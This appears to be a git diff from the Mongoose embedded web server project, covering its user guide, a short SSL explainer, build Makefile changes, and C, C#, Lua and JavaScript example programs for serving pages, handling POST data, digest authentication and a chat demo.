The idea is based on so-called public key encryption. Communicating parties
|
||||
have two keys: a public key and a private key. A public key is advertised
|
||||
to everybody, and it is contained in a certificate. A private key is kept
|
||||
secret. Security algorithm works in a way that anybody can encrypt
|
||||
a message using public key, and only private key can decrypt it.
|
||||
|
||||
This is why web server needs both private key and certificate: private key
|
||||
is used to decrypt incoming messages, and certificate is used to tell the
|
||||
public key to the other party. When communication starts, parties exchange
|
||||
their public keys, and keep private keys to themselves. Man-in-the-middle
|
||||
who observes the communication is unable to decrypt the messages cause
|
||||
private keys are required for decryption.
|
||||
|
||||
Encryption algorithms are built on top of hard mathematical problem, which
|
||||
makes it very expensive for man-in-the-middle to compute private keys.
|
||||
For example, RSA algorithm is based on a mathematical problem of factorization.
|
||||
It is easy to generate two very large prime numbers `P` and `Q` and make
|
||||
a product `P * Q`. But given a product, it is very hard to recover these
|
||||
two prime numbers - this is called factorization.
|
||||
@@ -0,0 +1,85 @@
|
||||
# Mongoose User Guide
|
||||
|
||||
Mongoose is small and easy to use web server built on top of
|
||||
mongoose library. It is designed with maximum simplicity in mind. For example,
|
||||
to share any directory, just drop mongoose executable file in that directory,
|
||||
double-click it (on UNIX, run it from shell) and launch a browser at
|
||||
[http://localhost:8080](http://localhost:8080) Note that 'localhost' should
|
||||
be changed to a machine's name if a folder is accessed from other computer.
|
||||
|
||||
On Windows and Mac, Mongoose iconifies itself to the system tray when started.
|
||||
Right-click on the icon pops up a menu, where it is possible to stop
|
||||
mongoose, or configure it.
|
||||
|
||||
On UNIX, `mongoose` is a command line utility. Running `mongoose` in
|
||||
terminal, optionally followed by configuration parameters
|
||||
(`mongoose [OPTIONS]`) or configuration file name
|
||||
(`mongoose [config_file_name]`) starts the
|
||||
web server:
|
||||
|
||||
$ mongoose -document_root /var/www # Running mongoose with cmdline options
|
||||
$ mongoose /etc/my_config.txt # Running mongoose with config file
|
||||
$ mongoose # Running with no parameters. This will
|
||||
# serve current directory on port 8080
|
||||
|
||||
Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
|
||||
stops the server.
|
||||
|
||||
When started, mongoose first searches for the configuration file.
|
||||
If configuration file is specified explicitly in the command line, then
|
||||
specified configuration file is used.
|
||||
Otherwise, mongoose would search for file `mongoose.conf` in the same directory
|
||||
where binary is located, and use it. Configuration file can be absent.
|
||||
|
||||
Configuration file is a sequence of lines, each line containing
|
||||
command line argument name and it's value. Empty lines and lines beginning
|
||||
with `#` are ignored. Here is the example of `mongoose.conf` file:
|
||||
|
||||
# This is a comment
|
||||
document_root C:\www
|
||||
listening_port 80
|
||||
ssl_certificate C:\mongoose\ssl_cert.pem
|
||||
|
||||
Command line arguments are highest priority and can override
|
||||
configuration file settings. For example, if `mongoose.conf` has line
|
||||
`document_root /var/www`, and mongoose has been started as
|
||||
`mongoose -document_root /etc`, then `/etc` directory will be used as
|
||||
document root.
|
||||
|
||||
Note that configuration options on the command line must start with `-`,
|
||||
and their names are the same as in the config file. Exampli gratia,
|
||||
the following two setups are equivalent:
|
||||
|
||||
$ mongoose -listening_port 1234 -document_root /var/www
|
||||
|
||||
$ cat > mongoose.conf
|
||||
listening_ports 1234
|
||||
document_root /var/www
|
||||
^D
|
||||
$ mongoose
|
||||
|
||||
Mongoose can also be used to modify `.htpasswd` passwords file:
|
||||
|
||||
$ mongoose -A .htpasswd mydomain.com user_name user_password
|
||||
|
||||
Unlike other web servers, mongoose does not require CGI scripts be located in
|
||||
a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
|
||||
recognized by the file name pattern. Mongoose uses shell-like glob
|
||||
patterns. Pattern match starts at the beginning of the string, so essentially
|
||||
patterns are prefix patterns. Syntax is as follows:
|
||||
|
||||
** Matches everything
|
||||
* Matches everything but slash character, '/'
|
||||
? Matches any character
|
||||
$ Matches the end of the string
|
||||
| Matches if pattern on the left side or the right side matches.
|
||||
|
||||
All other characters in the pattern match themselves. Examples:
|
||||
|
||||
**.cgi$ Any string that ends with .cgi
|
||||
/foo Any string that begins with /foo
|
||||
**a$|**b$ Any string that ends with a or b
|
||||
|
||||
To restrict CGI files only to `/cgi-bin/` directory, use this setting:
|
||||
|
||||
$ mongoose -cgi_pattern /cgi-bin/*.cgi # Emulate /cgi-bin/ restriction
|
||||
+53
-6
@@ -1,7 +1,54 @@
|
||||
CFLAGS= -W -Wall -I.. -pthread -g
|
||||
CFLAGS = -W -Wall -I.. -pthread -g -pipe $(CFLAGS_EXTRA)
|
||||
DLL_FLAGS = -DLUA_COMPAT_ALL -I../build
|
||||
RM = rm -rf
|
||||
|
||||
all:
|
||||
OS=`uname`; \
|
||||
test "$$OS" = Linux && LIBS="-ldl" ; \
|
||||
$(CC) $(CFLAGS) hello.c ../mongoose.c $$LIBS $(ADD) -o hello;
|
||||
$(CC) $(CFLAGS) chat.c ../mongoose.c $$LIBS $(ADD) -o chat
|
||||
ifeq ($(OS),Windows_NT)
|
||||
RM = del /q /f
|
||||
else
|
||||
UNAME_S := $(shell uname -s)
|
||||
DLL_FLAGS += -shared
|
||||
|
||||
ifeq ($(UNAME_S),Linux)
|
||||
CFLAGS += -ldl
|
||||
endif
|
||||
|
||||
ifeq ($(UNAME_S),Darwin)
|
||||
# DLL_FLAGS += -bundle -undefined dynamic_lookup -dynamiclib
|
||||
DLL_FLAGS += -flat_namespace -undefined suppress -dynamiclib
|
||||
endif
|
||||
endif
|
||||
|
||||
all: websocket_html.c
|
||||
$(CC) hello.c ../mongoose.c -o hello $(CFLAGS)
|
||||
$(CC) websocket.c websocket_html.c ../mongoose.c -o websocket $(CFLAGS)
|
||||
$(CC) post.c ../mongoose.c -o post $(CFLAGS)
|
||||
$(CC) multi_threaded.c ../mongoose.c -o multi_threaded $(CFLAGS)
|
||||
$(CC) upload.c ../mongoose.c -o upload $(CFLAGS)
|
||||
$(CC) auth.c ../mongoose.c -o auth $(CFLAGS)
|
||||
$(CC) server.c ../mongoose.c -o server $(CFLAGS)
|
||||
|
||||
# $(CC) chat.c ../mongoose.c -o chat $(CFLAGS)
|
||||
# $(CC) lua_dll.c ../build/lua_5.2.1.c -o $@.so $(CFLAGS) $(DLL_FLAGS)
|
||||
|
||||
websocket_html.c: websocket.html
|
||||
perl mkdata.pl $< > $@
|
||||
|
||||
MSVC = ../../vc6
|
||||
CL = $(MSVC)/bin/cl
|
||||
CLFLAGS = /MD /TC /nologo $(DBG) /W3 \
|
||||
/I$(MSVC)/include /I.. /Dsnprintf=_snprintf
|
||||
LFLAGS = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
|
||||
|
||||
windows: websocket_html.c
|
||||
$(CL) hello.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
|
||||
$(CL) websocket.c websocket_html.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
|
||||
$(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
|
||||
$(CL) multi_threaded.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
|
||||
$(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
|
||||
$(CL) auth.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
|
||||
$(CL) server.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
|
||||
|
||||
#$(CL) lua_dll.c $(CLFLAGS) $(DLL_FLAGS) /DLL $(LFLAGS) /SUBSYSTEM:WINDOWS /ENTRY:luaopen_lua_dll /EXPORT:luaopen_lua_dll /out:lua_dll.dll
|
||||
|
||||
clean:
|
||||
-@$(RM) hello upload post websocket chat *.exe *.dSYM *.obj .*o
|
||||
@@ -0,0 +1,32 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static int auth_handler(struct mg_connection *conn) {
|
||||
int result = MG_AUTH_FAIL; // Not authorized
|
||||
FILE *fp;
|
||||
|
||||
// To populate passwords file, do
|
||||
// mongoose -A my_passwords.txt mydomain.com admin admin
|
||||
if ((fp = fopen("my_passwords.txt", "r")) != NULL) {
|
||||
result = mg_authorize_digest(conn, fp);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_set_option(server, "document_root", ".");
|
||||
mg_set_auth_handler(server, auth_handler);
|
||||
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
// This file is part of mongoose web server project,
|
||||
// https://github.com/cesanta/mongoose
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Program {
|
||||
static private int EventHandler(MongooseEvent ev) {
|
||||
if (ev.type != 1) {
|
||||
return 0; // Mark as unhandled
|
||||
}
|
||||
|
||||
MongooseRequestInfo request_info = (MongooseRequestInfo)
|
||||
Marshal.PtrToStructure(ev.request_info, typeof(MongooseRequestInfo));
|
||||
|
||||
if (request_info.uri != "/test") {
|
||||
return 0; // Mark as unhandled
|
||||
}
|
||||
|
||||
Mongoose.write(ev.conn, "HTTP/1.1 200 OK\r\n\r\n");
|
||||
Mongoose.write(ev.conn, "Hello from C#!\n");
|
||||
|
||||
return 1; // Mark as handled
|
||||
}
|
||||
|
||||
static void Main() {
|
||||
Mongoose web_server = new Mongoose(".", "9000",
|
||||
new MongooseEventHandler(EventHandler));
|
||||
|
||||
Console.WriteLine("Mongoose v." + web_server.version_ + " started.");
|
||||
Console.WriteLine("Press enter to exit program.");
|
||||
|
||||
// Serve requests until user presses "enter" on a keyboard
|
||||
Console.ReadLine();
|
||||
web_server.stop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
// This file is part of mongoose web server project,
|
||||
// https://github.com/cesanta/mongoose
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr name;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public IntPtr value;
|
||||
};
|
||||
|
||||
// mongoose.h :: struct mg_request_info
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string request_method;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string uri;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string http_version;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string query_string;
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string remote_user;
|
||||
public int remote_ip;
|
||||
public int remote_port;
|
||||
public int is_ssl;
|
||||
[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)]
|
||||
public MongooseHeader[] http_headers;
|
||||
};
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseEvent {
|
||||
public int type;
|
||||
public IntPtr user_data;
|
||||
public IntPtr conn_data;
|
||||
public IntPtr event_param;
|
||||
public IntPtr conn;
|
||||
public IntPtr request_info;
|
||||
};
|
||||
|
||||
public delegate int MongooseEventHandlerN(ref MongooseEvent ev);
|
||||
public delegate int MongooseEventHandler(MongooseEvent ev);
|
||||
|
||||
public class Mongoose {
|
||||
public const string dll_name_ = "mongoose";
|
||||
public string version_ = "??";
|
||||
|
||||
// These are here to store a ref to the callbacks
|
||||
// while they are over in unmanaged code, to prevent garbage collection.
|
||||
private event MongooseEventHandlerN delegates;
|
||||
|
||||
private IntPtr ctx_;
|
||||
|
||||
[DllImport(dll_name_)] private static extern
|
||||
IntPtr mg_start([MarshalAs(UnmanagedType.LPArray,
|
||||
ArraySubType=UnmanagedType.LPTStr)] string[] options,
|
||||
MongooseEventHandlerN callback,
|
||||
IntPtr user_data);
|
||||
[DllImport(dll_name_)] private static extern void mg_stop(IntPtr ctx);
|
||||
[DllImport(dll_name_)] private static extern IntPtr mg_version();
|
||||
[DllImport(dll_name_)] public static extern int mg_write(IntPtr conn,
|
||||
string data, int length);
|
||||
|
||||
public Mongoose(string document_root,
|
||||
string listening_ports,
|
||||
MongooseEventHandler event_handler) {
|
||||
version_ = Marshal.PtrToStringAnsi(mg_version());
|
||||
|
||||
string[] options = {
|
||||
"document_root", document_root,
|
||||
"listening_ports", listening_ports,
|
||||
null
|
||||
};
|
||||
|
||||
MongooseEventHandlerN cb = delegate(ref MongooseEvent ev) {
|
||||
return event_handler(ev);
|
||||
};
|
||||
|
||||
// Prevent garbage collection
|
||||
delegates += cb;
|
||||
|
||||
ctx_ = mg_start(options, cb, IntPtr.Zero);
|
||||
}
|
||||
|
||||
public static int write(IntPtr conn, string data) {
|
||||
return mg_write(conn, data, data.Length);
|
||||
}
|
||||
|
||||
public void stop() {
|
||||
if (this.ctx_ != IntPtr.Zero) {
|
||||
mg_stop(this.ctx_);
|
||||
}
|
||||
this.ctx_ = IntPtr.Zero;
|
||||
}
|
||||
|
||||
~Mongoose() {
|
||||
stop();
|
||||
}
|
||||
}
|
||||
+27
-26
@@ -56,9 +56,10 @@ static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
|
||||
// Get session object for the connection. Caller must hold the lock.
|
||||
static struct session *get_session(const struct mg_connection *conn) {
|
||||
int i;
|
||||
const char *cookie = mg_get_header(conn, "Cookie");
|
||||
char session_id[33];
|
||||
time_t now = time(NULL);
|
||||
mg_get_cookie(conn, "session", session_id, sizeof(session_id));
|
||||
mg_get_cookie(cookie, "session", session_id, sizeof(session_id));
|
||||
for (i = 0; i < MAX_SESSIONS; i++) {
|
||||
if (sessions[i].expire != 0 &&
|
||||
sessions[i].expire > now &&
|
||||
@@ -122,7 +123,7 @@ static int handle_jsonp(struct mg_connection *conn,
|
||||
if (cb[0] != '\0') {
|
||||
mg_printf(conn, "%s(", cb);
|
||||
}
|
||||
|
||||
|
||||
return cb[0] == '\0' ? 0 : 1;
|
||||
}
|
||||
|
||||
@@ -325,32 +326,30 @@ static void redirect_to_ssl(struct mg_connection *conn,
|
||||
}
|
||||
}
|
||||
|
||||
static void *event_handler(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
void *processed = "yes";
|
||||
static int event_handler(struct mg_event *event) {
|
||||
struct mg_request_info *request_info = event->request_info;
|
||||
struct mg_connection *conn = event->conn;
|
||||
int result = 1;
|
||||
|
||||
if (event == MG_NEW_REQUEST) {
|
||||
if (!request_info->is_ssl) {
|
||||
redirect_to_ssl(conn, request_info);
|
||||
} else if (!is_authorized(conn, request_info)) {
|
||||
redirect_to_login(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, authorize_url) == 0) {
|
||||
authorize(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
|
||||
ajax_get_messages(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
|
||||
ajax_send_message(conn, request_info);
|
||||
} else {
|
||||
// No suitable handler found, mark as not processed. Mongoose will
|
||||
// try to serve the request.
|
||||
processed = NULL;
|
||||
}
|
||||
if (event->type != MG_REQUEST_BEGIN) return 0;
|
||||
|
||||
if (!request_info->is_ssl) {
|
||||
redirect_to_ssl(conn, request_info);
|
||||
} else if (!is_authorized(conn, request_info)) {
|
||||
redirect_to_login(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, authorize_url) == 0) {
|
||||
authorize(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
|
||||
ajax_get_messages(conn, request_info);
|
||||
} else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
|
||||
ajax_send_message(conn, request_info);
|
||||
} else {
|
||||
processed = NULL;
|
||||
// No suitable handler found, mark as not processed. Mongoose will
|
||||
// try to serve the request.
|
||||
result = 0;
|
||||
}
|
||||
|
||||
return processed;
|
||||
return result;
|
||||
}
|
||||
|
||||
static const char *options[] = {
|
||||
@@ -369,8 +368,10 @@ int main(void) {
|
||||
srand((unsigned) time(0));
|
||||
|
||||
// Setup and start Mongoose
|
||||
ctx = mg_start(&event_handler, NULL, options);
|
||||
assert(ctx != NULL);
|
||||
if ((ctx = mg_start(options, event_handler, NULL)) == NULL) {
|
||||
printf("%s\n", "Cannot start chat server, fatal exit");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Wait until enter is pressed, then exit
|
||||
printf("Chat server started on ports %s, press enter to quit.\n",
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
|
||||
static int index_html(struct mg_connection *conn) {
|
||||
FILE *fp = (FILE *) conn->connection_param;
|
||||
char buf[200];
|
||||
size_t n = 0;
|
||||
|
||||
if (fp == NULL) {
|
||||
fp = fopen("../mongoose.c", "r");
|
||||
conn->connection_param = (void *) fp;
|
||||
}
|
||||
|
||||
if (fp != NULL) {
|
||||
n = fread(buf, 1, sizeof(buf), fp);
|
||||
mg_send_data(conn, buf, n);
|
||||
|
||||
if (n < sizeof(buf) || conn->wsbits != 0) {
|
||||
fclose(fp);
|
||||
conn->connection_param = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
return n < sizeof(buf) ? 1 : 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server;
|
||||
|
||||
// Create and configure the server
|
||||
server = mg_create_server(NULL);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_add_uri_handler(server, "/", index_html);
|
||||
|
||||
// Serve request. Hit Ctrl-C to terminate the program
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
|
||||
// Cleanup, and free server instance
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
+18
-26
@@ -2,36 +2,28 @@
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static void *callback(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
|
||||
if (event == MG_NEW_REQUEST) {
|
||||
char content[1024];
|
||||
int content_length = snprintf(content, sizeof(content),
|
||||
"Hello from mongoose! Remote port: %d",
|
||||
request_info->remote_port);
|
||||
mg_printf(conn,
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
"Content-Type: text/plain\r\n"
|
||||
"Content-Length: %d\r\n" // Always set Content-Length
|
||||
"\r\n"
|
||||
"%s",
|
||||
content_length, content);
|
||||
// Mark as processed
|
||||
return "";
|
||||
} else {
|
||||
return NULL;
|
||||
}
|
||||
// This function will be called by mongoose on every new request
|
||||
static int index_html(struct mg_connection *conn) {
|
||||
mg_printf_data(conn, "Hello! Requested URI is [%s]", conn->uri);
|
||||
return MG_REQUEST_PROCESSED;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
const char *options[] = {"listening_ports", "8080", NULL};
|
||||
struct mg_server *server;
|
||||
|
||||
ctx = mg_start(&callback, NULL, options);
|
||||
getchar(); // Wait until user hits "enter"
|
||||
mg_stop(ctx);
|
||||
// Create and configure the server
|
||||
server = mg_create_server(NULL);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_set_request_handler(server, index_html);
|
||||
|
||||
// Serve request. Hit Ctrl-C to terminate the program
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
|
||||
// Cleanup, and free server instance
|
||||
mg_destroy_server(&server);
|
||||
|
||||
return 0;
|
||||
}
|
||||
+11
-4
@@ -16,6 +16,11 @@ chat.normalizeText = function(text) {
|
||||
};
|
||||
|
||||
chat.refresh = function(data) {
|
||||
|
||||
if (data === undefined) {
|
||||
return;
|
||||
}
|
||||
|
||||
$.each(data, function(index, entry) {
|
||||
var row = $('<div>').addClass('message-row').appendTo('#mml');
|
||||
var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
|
||||
@@ -42,7 +47,7 @@ chat.refresh = function(data) {
|
||||
}
|
||||
};
|
||||
|
||||
chat.getMessages = function() {
|
||||
chat.getMessages = function(enter_loop) {
|
||||
$.ajax({
|
||||
dataType: 'jsonp',
|
||||
url: chat.backendUrl + '/ajax/get_messages',
|
||||
@@ -51,7 +56,9 @@ chat.getMessages = function() {
|
||||
error: function() {
|
||||
},
|
||||
});
|
||||
window.setTimeout(chat.getMessages, chat.getMessagesIntervalMs);
|
||||
if (enter_loop) {
|
||||
window.setTimeout('chat.getMessages(true)', chat.getMessagesIntervalMs);
|
||||
}
|
||||
};
|
||||
|
||||
chat.handleMenuItemClick = function(ev) {
|
||||
@@ -81,7 +88,7 @@ chat.handleMessageInput = function(ev) {
|
||||
success: function(ev) {
|
||||
input.value = '';
|
||||
input.disabled = false;
|
||||
chat.getMessages();
|
||||
chat.getMessages(false);
|
||||
},
|
||||
error: function(ev) {
|
||||
chat.showError('Error sending message');
|
||||
@@ -93,7 +100,7 @@ chat.handleMessageInput = function(ev) {
|
||||
$(document).ready(function() {
|
||||
$('.menu-item').click(chat.handleMenuItemClick);
|
||||
$('.message-input').keypress(chat.handleMessageInput);
|
||||
chat.getMessages();
|
||||
chat.getMessages(true);
|
||||
});
|
||||
|
||||
// vim:ts=2:sw=2:et
|
||||
@@ -0,0 +1,15 @@
|
||||
HTTP/1.0 200 OK
|
||||
Content-Type: text/plain
|
||||
|
||||
<?
|
||||
-- Directory scanning example
|
||||
|
||||
function scandir(dir)
|
||||
local t = {}
|
||||
for f in io.popen('dir ' .. dir):lines() do table.insert(t, f) end
|
||||
return t
|
||||
end
|
||||
|
||||
local tab = scandir('C:\\')
|
||||
for k,v in pairs(tab) do mg.write(v, '\n') end
|
||||
?>
|
||||
@@ -0,0 +1,42 @@
|
||||
HTTP/1.0 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<p>Prime numbers from 0 to 100, calculated by Lua:</p>
|
||||
<?
|
||||
function is_prime(n)
|
||||
if n <= 0 then return false end
|
||||
if n <= 2 then return true end
|
||||
if (n % 2 == 0) then return false end
|
||||
for i = 3, n / 2, 2 do
|
||||
if (n % i == 0) then return false end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
for i = 1, 100 do
|
||||
if is_prime(i) then mg.write('<span>' .. i .. '</span> ') end
|
||||
end
|
||||
|
||||
?>
|
||||
|
||||
<p>Reading POST data from Lua (click submit):</p>
|
||||
<form method="POST" ><input type="text" name="t1"/><input type="submit"></form>
|
||||
|
||||
<pre>
|
||||
POST data: [<? mg.write(mg.request_info.content) ?>]
|
||||
request method: [<? mg.write(mg.request_info.request_method) ?>]
|
||||
IP/port: [<?mg.write(mg.request_info.remote_ip, ':',
|
||||
mg.request_info.remote_port) ?>]
|
||||
URI: [<? mg.write(mg.request_info.uri) ?>]
|
||||
HTTP version [<? mg.write(mg.request_info.http_version) ?>]
|
||||
Content Len: [<? mg.write(mg.request_info.content_len) ?>]
|
||||
HEADERS:
|
||||
<?
|
||||
for name, value in pairs(mg.request_info.http_headers) do
|
||||
mg.write(name, ':', value, '\n')
|
||||
end
|
||||
?>
|
||||
|
||||
</pre>
|
||||
</html>
|
||||
@@ -0,0 +1,17 @@
|
||||
#include <stdio.h>
|
||||
#include "lua_5.2.1.h"
|
||||
|
||||
static int smile(lua_State *L) {
|
||||
(void) L; // Unused
|
||||
printf("%s\n", ":-)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int LUA_API luaopen_lua_dll(lua_State *L) {
|
||||
static const struct luaL_Reg api[] = {
|
||||
{"smile", smile},
|
||||
{NULL, NULL},
|
||||
};
|
||||
luaL_openlib(L, "lua_dll", api, 0);
|
||||
return 1;
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
# This program is used to embed arbitrary data into a C binary. It takes
|
||||
# a list of files as an input, and produces a .c data file that contains
|
||||
# contents of all these files as collection of char arrays.
|
||||
#
|
||||
# Usage: perl <this_file> <file1> [file2, ...] > embedded_data.c
|
||||
|
||||
foreach my $i (0 .. $#ARGV) {
|
||||
open FD, '<:raw', $ARGV[$i] or die "Cannot open $ARGV[$i]: $!\n";
|
||||
printf("static const unsigned char v%d[] = {", $i);
|
||||
my $byte;
|
||||
my $j = 0;
|
||||
while (read(FD, $byte, 1)) {
|
||||
if (($j % 12) == 0) {
|
||||
print "\n";
|
||||
}
|
||||
printf ' %#04x,', ord($byte);
|
||||
$j++;
|
||||
}
|
||||
print " 0x00\n};\n";
|
||||
close FD;
|
||||
}
|
||||
|
||||
print <<EOS;
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
static const struct embedded_file {
|
||||
const char *name;
|
||||
const unsigned char *data;
|
||||
size_t size;
|
||||
} embedded_files[] = {
|
||||
EOS
|
||||
|
||||
foreach my $i (0 .. $#ARGV) {
|
||||
print " {\"$ARGV[$i]\", v$i, sizeof(v$i) - 1},\n";
|
||||
}
|
||||
|
||||
print <<EOS;
|
||||
{NULL, NULL, 0}
|
||||
};
|
||||
|
||||
const char *find_embedded_file(const char *name, size_t *size) {
|
||||
const struct embedded_file *p;
|
||||
for (p = embedded_files; p->name != NULL; p++) {
|
||||
if (!strcmp(p->name, name)) {
|
||||
if (size != NULL) { *size = p->size; }
|
||||
return (const char *) p->data;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
EOS
|
||||
@@ -0,0 +1,37 @@
|
||||
#include "mongoose.h"
|
||||
|
||||
// Start a browser and hit refresh couple of times. The replies will
|
||||
// come from both server instances.
|
||||
static int request_handler(struct mg_connection *conn) {
|
||||
mg_send_header(conn, "Content-Type", "text/plain");
|
||||
mg_printf_data(conn, "This is a reply from server instance # %s",
|
||||
(char *) conn->server_param);
|
||||
return MG_REQUEST_PROCESSED;
|
||||
}
|
||||
|
||||
static void *serve(void *server) {
|
||||
for (;;) mg_poll_server((struct mg_server *) server, 1000);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server1, *server2;
|
||||
|
||||
server1 = mg_create_server((void *) "1");
|
||||
server2 = mg_create_server((void *) "2");
|
||||
|
||||
mg_set_request_handler(server1, request_handler);
|
||||
mg_set_request_handler(server2, request_handler);
|
||||
|
||||
// Make both server1 and server2 listen on the same socket
|
||||
mg_set_option(server1, "listening_port", "8080");
|
||||
mg_set_listening_socket(server2, mg_get_listening_socket(server1));
|
||||
|
||||
// server1 goes to separate thread, server 2 runs in main thread.
|
||||
// IMPORTANT: NEVER LET DIFFERENT THREADS HANDLE THE SAME SERVER.
|
||||
mg_start_thread(serve, server1);
|
||||
mg_start_thread(serve, server2);
|
||||
getchar();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static const char *html_form =
|
||||
"<html><body>POST example."
|
||||
"<form method=\"POST\" action=\"/handle_post_request\">"
|
||||
"Input 1: <input type=\"text\" name=\"input_1\" /> <br/>"
|
||||
"Input 2: <input type=\"text\" name=\"input_2\" /> <br/>"
|
||||
"<input type=\"submit\" />"
|
||||
"</form></body></html>";
|
||||
|
||||
static int handler(struct mg_connection *conn) {
|
||||
char var1[500], var2[500];
|
||||
|
||||
if (strcmp(conn->uri, "/handle_post_request") == 0) {
|
||||
// User has submitted a form, show submitted data and a variable value
|
||||
// Parse form data. var1 and var2 are guaranteed to be NUL-terminated
|
||||
mg_get_var(conn, "input_1", var1, sizeof(var1));
|
||||
mg_get_var(conn, "input_2", var2, sizeof(var2));
|
||||
|
||||
// Send reply to the client, showing submitted form values.
|
||||
// POST data is in conn->content, data length is in conn->content_len
|
||||
mg_send_header(conn, "Content-Type", "text/plain");
|
||||
mg_printf_data(conn,
|
||||
"Submitted data: [%.*s]\n"
|
||||
"Submitted data length: %d bytes\n"
|
||||
"input_1: [%s]\n"
|
||||
"input_2: [%s]\n",
|
||||
conn->content_len, conn->content,
|
||||
conn->content_len, var1, var2);
|
||||
} else {
|
||||
// Show HTML form.
|
||||
mg_send_data(conn, html_form, strlen(html_form));
|
||||
}
|
||||
|
||||
return MG_REQUEST_PROCESSED;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_set_request_handler(server, handler);
|
||||
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||
for (;;) {
|
||||
mg_poll_server(server, 1000);
|
||||
}
|
||||
mg_destroy_server(&server);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,480 @@
|
||||
// Copyright (c) 2004-2013 Sergey Lyubka
|
||||
// Copyright (c) 2013-2014 Cesanta Software Limited
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
